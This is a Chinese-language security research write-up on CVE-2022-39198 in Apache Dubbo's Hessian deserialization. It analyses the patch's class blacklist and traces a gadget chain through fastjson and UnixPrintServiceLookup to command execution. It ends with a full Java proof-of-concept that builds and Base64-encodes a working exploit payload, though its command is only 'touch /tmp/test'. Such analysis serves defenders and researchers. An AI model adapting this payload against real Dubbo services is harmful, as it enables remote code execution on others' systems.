CVE-2022-39198 Apache Dubbo Hession Deserialization Vulnerability Gadgets Bypass

CVE-2022-39198

影响

2.7.x < version < 2.7.18

3.0.x < version < 3.0.12

3.1.x < version <= 3.1.0

分析

漏洞描述

我们可以看看在apache通告中对漏洞的简单的描述

很明显，从这个漏洞描述中，我们能够明白这个CVE的造成主要是因为dubbo中内置的hessian项目，主要是因为在hessian-lite中的3.2.12及以前版本中存在有这个漏洞

来看看是因为哪里造成了这个漏洞，以至于能够RCE

我们看看github的diff

https://github.com/apache/dubbo-hessian-lite/commit/5727b36a3cdc428baeef7ee03b131905e39be8ad

主要的更改是在resources/DENY_CLASS文件中

这个文件中，是这个项目维护的一个黑名单

从这次的修复中，多新增了好几个黑名单包名

org.apache.commons.codec.
org.aspectj.
org.dom4j
org.junit.
org.mockito.
org.thymeleaf.
ognl.
sun.print.

有很多，但是在其中只是存在有一个存在于JDK中的包名，即为sun.print.，这里仅是主要探讨有关于JDK中的利用链进行学习

对于其他的包名的的利用链，之后我将会通过自动化工具的方式进行挖掘探索

漏洞回顾

要想要知道能够利用的恶意类到底是哪一个，我们需要明白hessian需要触发什么才能导致漏洞的利用

如果曾经更进过hessian以前的其他链子，你会发现，大多数的链子都是通过使用HashMap / HashSet / HashTable等类来触发equals / compareTo等等方法来进行接下来的调用

而其中，marshal项目中存在有多个通过调用XString#equals方法的方式

进而调用到其他类的toString方法进行接下来的调用

现洞分析

在CVE-2021-25641这个CVE中存在的一条利用链是通过fastjson库的JSONObject#toString方法来进行反序列化操作，而在起反序列化的过程中将会调用反序列化类的任意getter方法，当时是直接通过触发了TemplatesImpl#getOutputProperties方法来进行利用的

而我们这里，也朝着这样的思路走，我们需要在sun.print.包下，找到一个类的getter方法能够进行漏洞的触发，那个就是我们想要的漏洞点

有关于这个类的利用，之前在跳跳糖中就存在

https://tttang.com/archive/1510/

在上面这篇文章中有所提及

我们跟进一下这种利用方式

我们这里选用的环境是单独的一个dubbo依赖的环境(2.7.16版本)

沿用以前的思路，通过dubbo库依赖的fastjson库，进行任意getter方法的调用，进行调用上图中的getDefaultPrintService方法进行利用

首先我贴一下到XString#equals方法调用JSONObject#toString方法的调用栈

toString:1071, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:495, AbstractMap (java.util)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)

之后来看看JSONObject#toString这条链子

这图是XString#equals方法中的代码，其中我们是通过HashMap反序列化的方法，进行元素之间的equals方法的调用，这里的obj2参数，只有是一个JSONObject对象，才会调用其toString方法

因为JSONObject类中没有toString方法，所以只能够调用其父类JSON类的toString方法进行调用

在这个toString方法中，调用了相同类的toJSONString方法

在这里，将会对我们的JSONObject对象进行反序列化操作

这部分的调用栈为

write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer)
write:271, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:312, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:1077, JSON (com.alibaba.fastjson)

我们前面通过fastjson反序列化的学习，也知道在其反序列化的过程中，将会导致任意getter方法的调用，所以自然能够调用到我们想要的UnixPrintServiceLookup#getDefaultPrintService方法

在这个方法中，主要是获取默认的打印服务相同的操作

首先在其中的一个if语句中

if (CUPSPrinter.isCupsRunning())

我们如果想要利用，需要保证不会满足这个条件

并且操作系统不能够使MAC OS和SUN OS

如果能够满足我们上面的条件，我们将会进一步调用到getDefaultPrinterNameBSD方法中

这里，将会将lpcFirstCom属性中的值传入exeCmd方法中进行调用

而在该方法中，将会将命令拼接在/bin/sh / /usr/bin/sh这两个环境进行执行

之后会通过调用run方法来执行命令

因为在run方法中是存在有Runtime.getRuntime().exec()方法进行执行的，所以能够RCE

POC

public class Test {
    public static void setFieldValue(Object obj, String filedName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field declaredField = obj.getClass().getDeclaredField(filedName);
        declaredField.setAccessible(true);
        declaredField.set(obj, value);
    }
    public static void main(String[] args) {
        try {
            //需要执行的命令
            String cmd = "touch /tmp/test";
            Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
            theUnsafe.setAccessible(true);
            Unsafe unsafe = (Unsafe) theUnsafe.get(null);
            Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
            //绕过getDefaultPrinterNameBSD中的限制
            //设置属性
            setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
            setFieldValue(unixPrintServiceLookup, "osname", "xx");
            setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
            //封装一个JSONObject对象调用getter方法
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("xx", unixPrintServiceLookup);
            //使用XString类调用toString方法
            XString xString = new XString("xx");
            HashMap map1 = new HashMap();
            HashMap map2 = new HashMap();
            map1.put("yy",jsonObject);
            map1.put("zZ",xString);
            map2.put("yy",xString);
            map2.put("zZ",jsonObject);

            HashMap s = new HashMap();
            setFieldValue(s, "size", 2);
            Class nodeC;
            try {
                nodeC = Class.forName("java.util.HashMap$Node");
            }
            catch ( ClassNotFoundException e ) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);

            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
            setFieldValue(s, "table", tbl);

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
            hessianOutput.setSerializerFactory(new SerializerFactory());
            hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
            hessianOutput.writeObject(s);
            hessianOutput.flushBuffer();

            System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}